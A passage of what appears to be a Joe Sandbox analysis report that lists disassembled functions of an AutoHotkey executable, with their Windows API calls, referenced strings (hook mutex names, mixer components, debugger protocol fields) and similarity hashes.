Sleep.KERNEL32(0000000A,?,00408D82,00000000,004089D8,An internal error has occurred in the debugger engine.Continue running the script without the debugger?,?,00000000,0040635D,?), ref: 0040E590
GetTickCount.KERNEL32 ref: 0040E5A7
PeekMessageW.USER32(?,00000000,00000417,00000417,00000001), ref: 0040E5CA
CreateMutexW.KERNEL32(00000000,00000000,AHK Keybd), ref: 0040E645
GetExitCodeThread.KERNEL32(00000000,?), ref: 0040E65A
GetTickCount.KERNEL32 ref: 0040E66A
Sleep.KERNEL32(00000000), ref: 0040E677
CloseHandle.KERNEL32(00000000), ref: 0040E68F

Part of subcall function 0040EBD0: _free.LIBCMT ref: 0040EC3D

CloseHandle.KERNEL32(00000000), ref: 0040E6AF
CreateMutexW.KERNEL32(00000000,00000000,AHK Mouse), ref: 0040E6D4
CloseHandle.KERNEL32(00000000), ref: 0040E6EB

Strings

Warning: The keyboard and/or mouse hook could not be activated; some parts of the script will not function., xrefs: 0040E719
AHK Mouse, xrefs: 0040E6CB
AHK Keybd, xrefs: 0040E63C

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Thread$CloseCreateHandle$CountMessageMutexSleepTick$CodeExitPeekPostPriority_free
String ID: AHK Keybd$AHK Mouse$Warning: The keyboard and/or mouse hook could not be activated; some parts of the script will not function.
API String ID: 1532042170-3816831916
Opcode ID: 23d90f9c996b4e07bf0fc789c2b08ea42d8cf7cb7dee605126522ddea8c32e86
Instruction ID: 2f1244df52f477ce63b06e909344561eb5779c58dfd47d192972e3377f48f2cc
Opcode Fuzzy Hash: 23d90f9c996b4e07bf0fc789c2b08ea42d8cf7cb7dee605126522ddea8c32e86
Instruction Fuzzy Hash: 39513570509340AAEB20AF72AC4976A7F945B51308F044C7FF981A72E1C6BD9954CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 004821D0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 168windowCOMMON

Download Yara Rule

APIs

GetIconInfo.USER32(?,?), ref: 004821E1
GetObjectW.GDI32(00000000,00000018,?), ref: 00482206
CreateCompatibleDC.GDI32(00000000), ref: 0048221C
CreateDIBSection.GDI32(00000000,?,00000000,?,00000000,00000000), ref: 00482270
SelectObject.GDI32(00000000,00000000), ref: 00482283
DrawIconEx.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000003), ref: 004822A7
GdiFlush.GDI32 ref: 004822AD
GetDIBits.GDI32(?,?,00000000,?,?,00000028,00000000), ref: 004822EE

Strings

(, xrefs: 0048225C

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CreateIconObject$BitsCompatibleDrawFlushInfoSectionSelect
String ID: (
API String ID: 1804173336-3887548279
Opcode ID: 7ad89fa2ee1f0e495a883556e7fdf8e489759fe448408d71e58f409c9e89669c
Instruction ID: 6972e2dce53691666e7fefc6317c458e44308deae0b99e39feb985e93d542706
Opcode Fuzzy Hash: 7ad89fa2ee1f0e495a883556e7fdf8e489759fe448408d71e58f409c9e89669c
Instruction Fuzzy Hash: 675141B1E04309AFDB10DFA4DD85BEEBBB8FB49704F10446AE906E7250D7749941CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0045D310 Relevance: 28.5, APIs: 13, Strings: 3, Instructions: 460windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041C620: __wcsicoll.LIBCMT ref: 0041C638

Part of subcall function 0044DE50: GetForegroundWindow.USER32(?,?,00440955,?), ref: 0044DE7E
Part of subcall function 0044DE50: IsWindowVisible.USER32(00000000), ref: 0044DE99

SendMessageTimeoutW.USER32(00000000,000000F0,00000000,00000000,00000002,000007D0,?), ref: 0045D388
IsWindowEnabled.USER32(00000000), ref: 0045D3BC
IsWindowVisible.USER32(00000000), ref: 0045D3E6
SendMessageTimeoutW.USER32(00000000,0000130B,00000000,00000000,00000002,000007D0,?), ref: 0045D424
GetClassNameW.USER32(00000000,?,00000020), ref: 0045D45A
GetClassNameW.USER32(00000000,?,00000020), ref: 0045D4B7
SendMessageTimeoutW.USER32(00000000,00000188,00000000,00000000,00000002,000007D0,?), ref: 0045D51B
SendMessageTimeoutW.USER32(00000000,0000018A,?,00000000,00000002,000007D0,?), ref: 0045D541
SendMessageTimeoutW.USER32(00000000,00000189,?,00000000), ref: 0045D59A
GetClassNameW.USER32(00000000,?,00000020), ref: 0045D63F

Strings

List, xrefs: 0045D47A, 0045D4E1, 0045D69A
SysListView32, xrefs: 0045D648
Combo, xrefs: 0045D463, 0045D4C0, 0045D675

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSendTimeout$Window$ClassName$Visible$EnabledForeground__wcsicoll
String ID: Combo$List$SysListView32
API String ID: 4132077911-371123625
Opcode ID: 24e2f6f1879e2e4d79d6b8c540c3f82741fb714635e65524f2bf609029a11b59
Instruction ID: dac04c0092e0fb85eaeaff9f384db84dbf63f8bde4f24adb61746dfc3bc048c4
Opcode Fuzzy Hash: 24e2f6f1879e2e4d79d6b8c540c3f82741fb714635e65524f2bf609029a11b59
Instruction Fuzzy Hash: 94F1A231E00209ABDB20DBA58C85FAF7374EF45716F10416AFD11AB2C2DB78AD4A875D

Uniqueness

Uniqueness Score: -1.00%

Function 00440040 Relevance: 28.5, APIs: 15, Strings: 1, Instructions: 452COMMON

Download Yara Rule

APIs

Part of subcall function 0044DE50: GetForegroundWindow.USER32(?,?,00440955,?), ref: 0044DE7E
Part of subcall function 0044DE50: IsWindowVisible.USER32(00000000), ref: 0044DE99

_memset.LIBCMT ref: 004401A7
__fassign.LIBCMT ref: 00440217
GetWindowRect.USER32(00000000,?), ref: 00440292
EnumChildWindows.USER32(00000000,Function_00046E40,?), ref: 004402B3

Strings

Pos, xrefs: 00440123

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$ChildEnumForegroundRectVisibleWindows__fassign_memset
String ID: Pos
API String ID: 2064314021-3096748108
Opcode ID: 5a60733ac8b9987e5c79c4918efa9ee7838a912ab26a9d9a906cff35c6bc6f09
Instruction ID: ecbd55821413f23d8fe50c1a24b17c65f091f3454bc6e4d15ba7f8450c114e7e
Opcode Fuzzy Hash: 5a60733ac8b9987e5c79c4918efa9ee7838a912ab26a9d9a906cff35c6bc6f09
Instruction Fuzzy Hash: CEF121719083409BE730DF248C45B6BB7E0BB85314F180A1EFA95973C2D77D9895CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0044E180 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 252timeCOMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0044E19E
GetTickCount.KERNEL32 ref: 0044E1AA
GetLocalTime.KERNEL32(004DB468), ref: 0044E1CE
__swprintf.LIBCMT ref: 0044E1EC

Strings

%03d, xrefs: 0044E1E6
MSec, xrefs: 0044E198
%02d, xrefs: 0044E363, 0044E37E, 0044E399, 0044E3B4, 0044E3EB, 0044E406

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountLocalTickTime__swprintf__wcsicoll
String ID: %02d$%03d$MSec
API String ID: 3794994719-2031959049
Opcode ID: 4d48839f0752a7cc93457b04d29495e063d95f790b1232a88a57dfb7d0d4b535
Instruction ID: 28eff125f1fa4b3b91b712dcf2ab7940d30725b63dc97be352ac4c167f647d87
Opcode Fuzzy Hash: 4d48839f0752a7cc93457b04d29495e063d95f790b1232a88a57dfb7d0d4b535
Instruction Fuzzy Hash: 13517977B41124A5EA04A76BBC426BB7358F790B2A714013BFD4DC12E3E66D881192FE

Uniqueness

Uniqueness Score: -1.00%

Function 004064E0 Relevance: 28.2, APIs: 3, Strings: 13, Instructions: 190COMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00406518

Strings

multiple_sessions, xrefs: 004065E1
max_children, xrefs: 0040661F
supports_threads, xrefs: 00406526
version, xrefs: 00406560
max_depth, xrefs: 00406644
language_, xrefs: 00406507
protocol_version, xrefs: 0040659D
supports_async, xrefs: 004065B1
max_data, xrefs: 004065F5
<response command="feature_get" feature_name="%e" supported="%i" transaction_id="%e">%s</response>, xrefs: 004066D4
encoding, xrefs: 00406581
name, xrefs: 00406543
breakpoint_types, xrefs: 004065C5

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _strncmp
String ID: <response command="feature_get" feature_name="%e" supported="%i" transaction_id="%e">%s</response>$breakpoint_types$encoding$language_$max_children$max_data$max_depth$multiple_sessions$name$protocol_version$supports_async$supports_threads$version
API String ID: 909875538-401246380
Opcode ID: 2c8e0840efb0858b8d2f5755e025ccd96df2964a11d2946cb060a168e4820a0c
Instruction ID: 514b81af1670027c9812cb6e32d09f69b9181f46570d496278249d187971897f
Opcode Fuzzy Hash: 2c8e0840efb0858b8d2f5755e025ccd96df2964a11d2946cb060a168e4820a0c
Instruction Fuzzy Hash: 8C512932604208BBDB288E149C81BA73B55A711325F16C477F806BF2C1D77BCD6553AD

Uniqueness

Uniqueness Score: -1.00%

Function 0041F410 Relevance: 26.5, APIs: 9, Strings: 6, Instructions: 261COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00000000,?,0000000A,?,?,00000000,0041F063,004DA728,?,004B6410,00000000,00000000), ref: 0041F5BD
LoadResource.KERNEL32(00000000,00000000,?,?,00000000,0041F063,004DA728,?,004B6410,00000000,00000000,?,?,?,?,00404330), ref: 0041F5CC
LockResource.KERNEL32(00000000,?,?,00000000,0041F063,004DA728,?,004B6410,00000000,00000000,?,?,?,?,00404330), ref: 0041F5DB
SizeofResource.KERNEL32(00000000,00000000,?,?,00000000,0041F063,004DA728,?,004B6410,00000000,00000000,?,?,?,?,00404330), ref: 0041F5EC
FindResourceW.KERNEL32(00000001,00000002,0000000A,0000030C,00404330), ref: 0041F6C2

Strings

Out of memory., xrefs: 0041F4B8
Too many includes., xrefs: 0041F45F
Script, xrefs: 0041F72C, 0041F739
%s file "%s" cannot be opened., xrefs: 0041F73A
#Include, xrefs: 0041F723
*#2, xrefs: 0041F6D5

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Resource$Find$LoadLockSizeof
String ID: #Include$%s file "%s" cannot be opened.$*#2$Out of memory.$Script$Too many includes.
API String ID: 3127896203-3189951223
Opcode ID: 5b5f8418b385b989ad7b977a0ef3fc0333d2a2c71e0d7c55dd7bb1afdf25ec49
Instruction ID: ab72926b21a12e27e373e2e937b4ca6f6c5f5e8244608b440d9959419cd3cee0
Opcode Fuzzy Hash: 5b5f8418b385b989ad7b977a0ef3fc0333d2a2c71e0d7c55dd7bb1afdf25ec49
Instruction Fuzzy Hash: 9391D4717003019BD7209F24EC81BA777A5AB95314F04453BEA4987292EB7DDC8BC7AE

Uniqueness

Uniqueness Score: -1.00%

Function 0041B2D0 Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 209COMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 0041B2D9
__fassign.LIBCMT ref: 0041B31B

Part of subcall function 0049A0CD: __fassign.LIBCMT ref: 0049A0C3

Strings

Analog, xrefs: 0041B4A1
Telephone, xrefs: 0041B429
Master, xrefs: 0041B341
Headphones, xrefs: 0041B375
Digital, xrefs: 0041B393
N/A, xrefs: 0041B4BF
Wave, xrefs: 0041B465
Line, xrefs: 0041B3B1
Aux, xrefs: 0041B483
Speakers, xrefs: 0041B35B
Microphone, xrefs: 0041B3CF
Synth, xrefs: 0041B3ED
PCSpeaker, xrefs: 0041B447

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __fassign$_wcschr
String ID: Analog$Aux$Digital$Headphones$Line$Master$Microphone$N/A$PCSpeaker$Speakers$Synth$Telephone$Wave
API String ID: 3927346847-2477456585
Opcode ID: a1fe2fd4cb796b0673fa9f8544ae4506ef856ac12d90f2f95bfada7f35fa418c
Instruction ID: aa5a872951048ea90b050b60ce2e26a4688f2cc09e12909a769d4222be85e723
Opcode Fuzzy Hash: a1fe2fd4cb796b0673fa9f8544ae4506ef856ac12d90f2f95bfada7f35fa418c
Instruction Fuzzy Hash: 7D51517262412512DE11212D7C517FE218D8B9637AF28872BFC29DA3C2FB8DC89552E9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F190 Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 72COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0040F1A8
__wcsicoll.LIBCMT ref: 0040F1C0

Strings

Toggle, xrefs: 0040F251
AltTabMenuDismiss, xrefs: 0040F202
AltTab, xrefs: 0040F1A2
Off, xrefs: 0040F239
ShiftAltTab, xrefs: 0040F1BA
AltTabAndMenu, xrefs: 0040F1EA
AltTabMenu, xrefs: 0040F1D2

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: AltTab$AltTabAndMenu$AltTabMenu$AltTabMenuDismiss$Off$ShiftAltTab$Toggle
API String ID: 3832890014-1651597821
Opcode ID: 3620851c642f36e8e648e10881c782b536c30ee3b2031b81cbad254b3452dfb3
Instruction ID: 2576fd34ddc42ab7dde69c74f4f45c0cbe731a0e7ed7668bbe4f1780f05831f0
Opcode Fuzzy Hash: 3620851c642f36e8e648e10881c782b536c30ee3b2031b81cbad254b3452dfb3
Instruction Fuzzy Hash: 67112E49A4521131EF35253A5D0379B24845F6170BF8844BFFC04E57C1FAAEEF4A81AE

Uniqueness

Uniqueness Score: -1.00%

Function 0044B600 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 184windowCOMMON

Download Yara Rule

APIs

__wcstoi64.LIBCMT ref: 0044B63B
MessageBeep.USER32(00000000), ref: 0044B653

Part of subcall function 0049A0D8: __wcstoi64.LIBCMT ref: 0049A0E4

mciSendStringW.WINMM(status AHK_PlayMe mode,?,00000208,00000000), ref: 0044B68B
mciSendStringW.WINMM(close AHK_PlayMe,00000000,00000000,00000000), ref: 0044B6A0
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0044B6C2

Strings

close AHK_PlayMe, xrefs: 0044B69B, 0044B80E
status AHK_PlayMe mode, xrefs: 0044B686, 0044B773, 0044B7E7
stopped, xrefs: 0044B790
open "%s" alias AHK_PlayMe, xrefs: 0044B6A3
play AHK_PlayMe, xrefs: 0044B71F

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: SendString$__wcstoi64$BeepMessage
String ID: close AHK_PlayMe$open "%s" alias AHK_PlayMe$play AHK_PlayMe$status AHK_PlayMe mode$stopped
API String ID: 315599926-4077410995
Opcode ID: 27a63d1b53d758206285dc3d9b611c83b4934bb02263b536c261b61f13925b47
Instruction ID: 59d5c7ec44a886ae2712c408083f39863d7cc846f3062e3f8349aaf6f898718d
Opcode Fuzzy Hash: 27a63d1b53d758206285dc3d9b611c83b4934bb02263b536c261b61f13925b47
Instruction Fuzzy Hash: F351297278030461F620A6259C43FF77354DBA1B65F24053BF704AA2D1DB9EE58982FE

Uniqueness

Uniqueness Score: -1.00%

Function 0041C060 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 61COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0041C072

Strings

Pos, xrefs: 0041C06C
Enabled, xrefs: 0041C0B4
Name, xrefs: 0041C0FC
Hwnd, xrefs: 0041C0E4
Visible, xrefs: 0041C0CC
FocusV, xrefs: 0041C09C
Focus, xrefs: 0041C084

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: Enabled$Focus$FocusV$Hwnd$Name$Pos$Visible
API String ID: 3832890014-542124868
Opcode ID: f85ed2e560ccb2f56fced4bad1314ee78a65f6d56962c0ff858f2c68111d232c
Instruction ID: 01d85473d456e57c7918497a62c633a23576e9d106b826eb8eb4a13ab989069b
Opcode Fuzzy Hash: f85ed2e560ccb2f56fced4bad1314ee78a65f6d56962c0ff858f2c68111d232c
Instruction Fuzzy Hash: 2E017889A80A11E2EF10226D8D03BCF68885B60B1BFC4487BF914D5281F38ECA54C0BE

Uniqueness

Uniqueness Score: -1.00%

Function 0045C7E0 Relevance: 24.3, APIs: 16, Instructions: 258windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0044DE50: GetForegroundWindow.USER32(?,?,00440955,?), ref: 0044DE7E
Part of subcall function 0044DE50: IsWindowVisible.USER32(00000000), ref: 0044DE99

__wcsicoll.LIBCMT ref: 0045C86A
GetSystemMenu.USER32(00000000,00000000), ref: 0045C878
GetMenu.USER32(00000000), ref: 0045C894
GetMenuItemCount.USER32(00000000), ref: 0045C8A9
__fassign.LIBCMT ref: 0045C929
GetMenuItemID.USER32(?,?), ref: 0045C950
GetSubMenu.USER32(?,?), ref: 0045C95F
GetMenuItemCount.USER32(00000000), ref: 0045C96A

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Menu$Item$CountWindow$ForegroundSystemVisible__fassign__wcsicoll
String ID:
API String ID: 3951159358-0
Opcode ID: 44b8760cf8ff8381df9734d64a23794585f900f67c7e493032aab6d14e716bf1
Instruction ID: 86e9be6bc2e8eaebde4f0cedb696fb5cea08acb95270ddc95ff82748ccaf6897
Opcode Fuzzy Hash: 44b8760cf8ff8381df9734d64a23794585f900f67c7e493032aab6d14e716bf1
Instruction Fuzzy Hash: DF91E3B16043059FC720DF64DC84B5BBBE4EB89715F04492EFD8697282D778AD08CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004820A0 Relevance: 24.1, APIs: 16, Instructions: 110windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 004820BC
CreateCompatibleDC.GDI32(00000000), ref: 004820C9
GetIconInfo.USER32(?,?), ref: 004820DF
GetObjectW.GDI32(?,00000018,?), ref: 004820F9
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00482112
SelectObject.GDI32(00000000,00000000), ref: 00482120
CreateSolidBrush.GDI32(FF000000), ref: 0048214B
FillRect.USER32(00000000,?,00000000), ref: 0048215A
DeleteObject.GDI32(00000000), ref: 00482161
DrawIconEx.USER32(00000000,00000000,00000000,?,?,?,00000000,00000000,00000003), ref: 00482181
SelectObject.GDI32(00000000,00000000), ref: 00482189
DeleteObject.GDI32(?), ref: 0048219E
DeleteObject.GDI32(?), ref: 004821A5
DeleteDC.GDI32(00000000), ref: 004821AC
ReleaseDC.USER32(00000000,00000000), ref: 004821B5
DestroyIcon.USER32(?,?,75295780), ref: 004821BC

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Object$Delete$CreateIcon$CompatibleSelect$BitmapBrushDestroyDrawFillInfoRectReleaseSolid
String ID:
API String ID: 2104539931-0
Opcode ID: 23d307c64439930c1ea582c87dd4ea36c43cd03b7ca3da87f05f77aa01f95ba9
Instruction ID: 0e050c2c27b98afd45818391a1081fd21f392f5c48182c7ac616169faae95ae2
Opcode Fuzzy Hash: 23d307c64439930c1ea582c87dd4ea36c43cd03b7ca3da87f05f77aa01f95ba9
Instruction Fuzzy Hash: F7316271608300AFD3009F64DC88E6FBBF8EB8A705F504929FA4682250DB74DD058B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0042D420 Relevance: 23.2, APIs: 8, Strings: 5, Instructions: 410COMMON

Download Yara Rule

APIs

_wcsncpy.LIBCMT ref: 0042D480
__wcsicoll.LIBCMT ref: 0042D4D2
_memmove.LIBCMT ref: 0042D63E
_memmove.LIBCMT ref: 0042D7C6
__wcsicoll.LIBCMT ref: 0042D80E
__wcsicoll.LIBCMT ref: 0042D8AF
_memmove.LIBCMT ref: 0042D8EA

Strings

Out of memory., xrefs: 0042D751
Variable name too long., xrefs: 0042D462
ErrorLevel, xrefs: 0042D4CC
", xrefs: 0042D558
Illegal parameter name., xrefs: 0042D50A

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll_memmove$_wcsncpy
String ID: "$ErrorLevel$Illegal parameter name.$Out of memory.$Variable name too long.
API String ID: 3055118137-3900197193
Opcode ID: c688eb51930ecc157e41a313c9c3f02277e4adaa2edb498bb05281aa5c2edab1
Instruction ID: 62f2ab278ba812e8b1e00cf376728a7d66e8ca256b575216bfa43a473c789b10
